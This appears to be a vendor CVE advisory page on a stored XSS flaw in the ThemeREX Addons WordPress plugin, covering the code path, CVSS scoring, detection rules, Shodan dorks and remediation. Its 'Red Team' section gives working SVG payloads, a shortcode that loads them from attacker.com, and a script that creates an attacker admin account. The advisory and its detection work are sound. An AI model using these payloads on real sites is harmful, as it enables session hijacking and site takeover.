☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-6997

CVE-2025-6997 Cross-Site Scripting in Themerex
📅 PUBLISHED: 2025-07-19 08:24 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-6997 is a Stored Cross-Site Scripting (XSS) vulnerability in the ThemeREX Addons WordPress plugin, affecting all versions up to and including 2.35.1.1. The flaw resides in the plugin’s SVG file handling routine, specifically within the trx_addons_get_svg_from_file() function. An authenticated attacker with Contributor-level access or higher can supply a malicious remote SVG file via the shortcode or Elementor widget settings. Due to insufficient input sanitization and output escaping, the SVG content is rendered unsafely, allowing arbitrary JavaScript execution in the context of any user viewing the affected page.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can inject persistent XSS payloads that target higher-privileged users (e.g., Administrators). The attack can lead to session hijacking, credential theft, or complete site compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the ThemeREX Addons WordPress plugin, distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installation and monitor for official patches. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor)
  • User Interaction: Required (victim must view the page)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and site takeover in a WordPress context elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability is rooted in the plugin’s SVG rendering pipeline. The trx_addons_get_svg_from_file() function is called with an unvalidated svg parameter, which can be a URL pointing to an external SVG file. The function fetches the SVG content and passes it to trx_addons_show_layout(), which outputs the content without proper escaping.

Key Code Path:

  1. User (Contributor+) inserts a shortcode or Elementor widget with a malicious svg parameter.
  2. The plugin calls trx_addons_get_svg_from_file( $svg_url ).
  3. This function fetches the SVG from the provided URL (no origin or scheme validation).
  4. The raw SVG content is returned and passed to trx_addons_show_layout().
  5. trx_addons_show_layout() outputs the SVG directly into the DOM, allowing embedded JavaScript to execute.

Why it works: SVG files can contain <script> tags or event handlers (e.g., onload). Since the plugin does not sanitize the SVG content, an attacker can craft an SVG that executes arbitrary JavaScript when rendered.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.35.1.1):

// In shortcode handler
$svg_url = $atts['svg'];
$svg_content = trx_addons_get_svg_from_file( $svg_url );
trx_addons_show_layout( $svg_content );

Patched Code (Hypothetical):

// Validate URL origin and scheme
$allowed_hosts = array( $_SERVER['HTTP_HOST'] );
$parsed_url = parse_url( $svg_url );
if ( ! in_array( $parsed_url['host'], $allowed_hosts ) ) {
    return;
}
// Sanitize SVG content
$svg_content = trx_addons_get_svg_from_file( $svg_url );
$svg_content = wp_kses( $svg_content, array(
    'svg' => array(
        'xmlns' => array(),
        'viewBox' => array(),
        // Allow only safe attributes
    ),
    'path' => array( 'd' => array() ),
    // ... other safe elements
) );
trx_addons_show_layout( $svg_content );

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with ThemeREX Addons <= 2.35.1.1
  • Contributor-level account or higher

Step 1: Craft Malicious SVG Create an SVG file hosted on an attacker-controlled server:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <script>alert('XSS')</script>
</svg>

Step 2: Inject via Shortcode As a Contributor, create a new post/page and insert the shortcode:

[trx_addons_svg svg="http://attacker.com/malicious.svg"]

Step 3: Trigger Execution When an Administrator or any user views the post, the SVG is fetched and rendered, executing the JavaScript payload.

Advanced Payload:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('/wp-admin/admin-ajax.php?action=add_admin&user=attacker&pass=evil')
  </script>
</svg>

Blue Team (Defense & Detection)

Detection Strategy:

  • Monitor for shortcode usage with external svg parameters.
  • Inspect SVG file uploads for embedded scripts.
  • Use WAF rules to block external SVG URLs in shortcode parameters.

Honeypot: Deploy a fake Contributor account and monitor for any shortcode containing svg= with an external URL.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from WordPress server (SVG fetch).
  • File System: Presence of unexpected SVG files in uploads directory.
  • Logs: WordPress debug logs showing trx_addons_get_svg_from_file() calls with external URLs.
  • Database: Posts/pages containing shortcodes with svg parameter pointing to external URLs.

Example IOC:

[trx_addons_svg svg="http://malicious.example.com/evil.svg"]

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_Shortcode {
    meta:
        description = "Detects malicious SVG shortcode usage in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6997"
    strings:
        $shortcode = /\[trx_addons_svg\s+svg\s*=\s*["']https?:\/\/[^"']+\.svg["']/
        $svg_script = /<svg[^>]*>.*?<script[^>]*>.*?<\/script>/si
    condition:
        $shortcode or $svg_script
}

Sigma Rule

title: CVE-2025-6997 - Stored XSS via SVG in ThemeREX Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Stored XSS via SVG file upload in ThemeREX Addons plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/wp-content/plugins/trx_addons/'
        cs-uri-query|contains: 'svg='
    condition: selection
falsepositives:
    - Legitimate use of external SVG files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-6997 - ThemeREX Addons SVG XSS Outbound Fetch";
    flow:to_server;
    content:"/wp-content/plugins/trx_addons/"; http_uri;
    content:"svg="; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical for business operations.
  2. Restrict Contributor roles from using shortcodes/Elementor widgets that accept svg parameters.
  3. Implement a WAF rule to block requests containing svg= with external URLs.

Long-term Fix:

  • Apply the official patch once released by ThemeREX.
  • If no patch is available, manually modify the plugin code to:
    • Validate the svg parameter origin (only allow same-host URLs).
    • Sanitize SVG content using wp_kses() with a whitelist of safe elements and attributes.
    • Use esc_url() and wp_http_validate_url() before fetching.

Workaround: Add the following code to the theme's functions.php to block external SVG URLs:

add_filter( 'trx_addons_filter_svg_url', function( $url ) {
    $parsed = parse_url( $url );
    if ( $parsed['host'] !== $_SERVER['HTTP_HOST'] ) {
        return '';
    }
    return $url;
});

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/trx_addons"
http.html:"ThemeREX Addons"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-6997/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.